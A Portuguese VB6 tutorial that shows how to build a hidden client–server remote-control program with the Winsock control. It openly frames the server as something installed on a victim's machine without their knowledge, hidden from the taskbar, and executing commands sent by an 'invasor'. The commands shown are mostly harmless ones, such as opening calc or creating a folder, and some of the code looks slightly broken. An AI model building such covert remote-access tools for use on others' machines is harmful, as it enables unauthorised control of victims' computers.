VB6 - Controle Remoto
Com certeza você já ouvi falar em programas que podem ser instalados em seu computador sem que você saiba de forma a permitir o controle da sua máquina pelo invasor. Pode ter certeza , fazer isto é mais fácil do que você imagina. Neste artigo eu vou mostrar como você pode criar um programa que pode ser instalado na máquina cliente e que envia comandos para que o servidor o execute.
Na verdade isto é apenas uma forma de mostrar como usar o controle Winsock do Visual Basic. Publiquei diversos artigos sobre a utilização do controle Winsock. Para conferir alguns veja os links abaixo:
Irei criar dois programas : o cliente e o servidor. ( a denominação é relativa pois se pensarmos em termos de serviços qualquer máquina pode atuar como cliente e como servidor)
O programa servidor ficaria instalado na máquina a partir da qual você quer controlar. Não poderia ser visível e ficari aguardando os comandos do programa cliente que ficaria na máquina do invasor. É obvio que para o nível aqui pretendido não crei um código sofisticado pois quero apenas mostrar que a operação é possível e relativemente simples de ser feita.
Eu também não vou perder tempo detalhando os comandos do Winsock pois já os abordei nos artigos acima citados.
O projeto do artigo funciona assim:
O projeto Servidor
Antes de qualquer iniciativa você deve incluir no seu projeto o componente Winsock. No menu Project|Components selecione : Microsoft Winsock Control X.0 (onde x é a versão do seu controle. Eu estou usando a 6.0)
No projeto Servidor temos o código do evento Load do formulário onde o servidor fica 'escutando' uma porta(no meu caso a porta 1412) aguardando uma conexão. Abaixo o formulário - frmServidor - e o código do evento Load:
Private
Sub Form_Load() On Error Resume Next If Not App.PrevInstance = True Then winsockServidor.LocalPort = 1412 winsockServidor.Listen EsconderDaBarraDeTarefas Else Unload Me End If End Sub |
A seguir no evento DataArrival (ativado quando o comando estiver sendo enviado) do Servidor esta o código que irá processar os comandos recebidos do cliente e executar o serviço solicitado.
Private
Sub winsockServidor_DataArrival(ByVal bytesTotal As Long) On Error Resume Next Dim comando As String winsockServidor.GetData str Select Case comando Case "note" Shell "notepad.exe", vbMaximizedFocus Case "calc" Shell "calc.exe", vbMaximizedFocus Case "pain" Shell "pbrush", vbMaximizedFocus Case "close" CloseMe Case "ctrl" Shell "control", vbMaximizedFocus Case "mplayer" Shell "mplayer", vbMaximizedFocus Case "scan" Shell "scandskw", vbMaximizedFocus Case "cddooropen" retvalue = mciSendcomandoing("set CDAudio door open", returncomandoing, 127, 0) Case "dir" CriaNovoDiretorio ("c:\macoratti\Teste1\") Case "closeme" winsockServidor.Close Unload Me Case "wintime" Dim lngReturn As Long lngReturn = GetTickCount() info = ((lngReturn / 1000) / 60) & " minutos." winsockServidor.SendData info End Select End Sub |
O projeto Cliente
Antes de qualquer iniciativa você deve incluir no seu projeto o componente Winsock. No menu Project|Components selecione : Microsoft Winsock Control X.0 (onde x é a versão do seu controle. Eu estou usando a 6.0)
O projeto cliente irá possui a interface mostrada na figura abaixo. Nela temos o controle winsock configurado para efetuar a conexão com o servidor na porta 1412 através de um número IP fornecido. Após a conexão ser efetivada podemos enviar alguns comandos que serão acionados quando você clicar em um dos botões de comando.
O código do botão - Conectar - é o seguinte :
Private
Sub Command1_Click() On Error GoTo err_Command1_Click winsockCliente.RemotePort = 1412 If txtConectarServidor.Text = "" Then MsgBox "Informe o endereço IP do servidor" Else winsockCliente.RemoteHost = txtConectarServidor.Text winsockCliente.Connect End If If winsockCliente.State = sckConnected Then Me.Caption = "Conectado ao servidor remoto " & txtConectarServidor.Text frmPainel.Enabled = True Else Me.Caption = "Não conectado ao servidor remoto " & txtConectarServidor.Text frmPainel.Enabled = False End If Exit Sub err_Command1_Click: Screen.MousePointer = vbNormal MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _ "Procedure: Command1_Click" & vbCrLf & vbTab & _ "Erro No. : " & Err.Number & vbCrLf & vbTab & _ "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName End Sub |
Cada evento Click de cada botão de comando irá enviar um comando para o servidor. Abaixo alguns dos comandos enviados:
Private
Sub cmdcalc_Click() On Error GoTo err_cmdcalc_Click Dim comando As String comando = "calc" winsockCliente.SendData comando Exit Sub err_cmdcalc_Click: Screen.MousePointer = vbNormal MsgBox "Ocorreu o seguinte erro : " & vbCrLf & vbTab & _ "Procedure: cmdcalc_Click" & vbCrLf & vbTab & _ "Erro No. : " & Err.Number & vbCrLf & vbTab & _ "Descrilçao : " & Err.Description, vbCritical + vbOKOnly, App.EXEName End Sub |
Envia comando para abrir a calculadora no Servidor |
Private
Sub Command4_Click() Dim comando As String comando = "scan" winsockCliente.SendData comando End Sub |
Envia comando para executar o ScanDisk no Servidor |
Private
Sub Command7_Click() Dim comando As String comando = "dir" winsockCliente.SendData comando MsgBox "O diretorio c:\macoratti\Teste1\ foi criado. " & winsockCliente.RemoteHost End Sub |
Envia comando para criar diretório no Servidor |
De brinde mostramos o formulário de saída na forma elípitica.(Para sair apenas click no formulário) .Veja na figura abaixo:
Agora é só você rodar e fazer os teste. Você pode incluir mais comandos e sofisticar ainda mais o projeto . Juízo...
Para pegar o projeto completo clique : aqui
Até a próximo artigo VB...
José Carlos Macoratti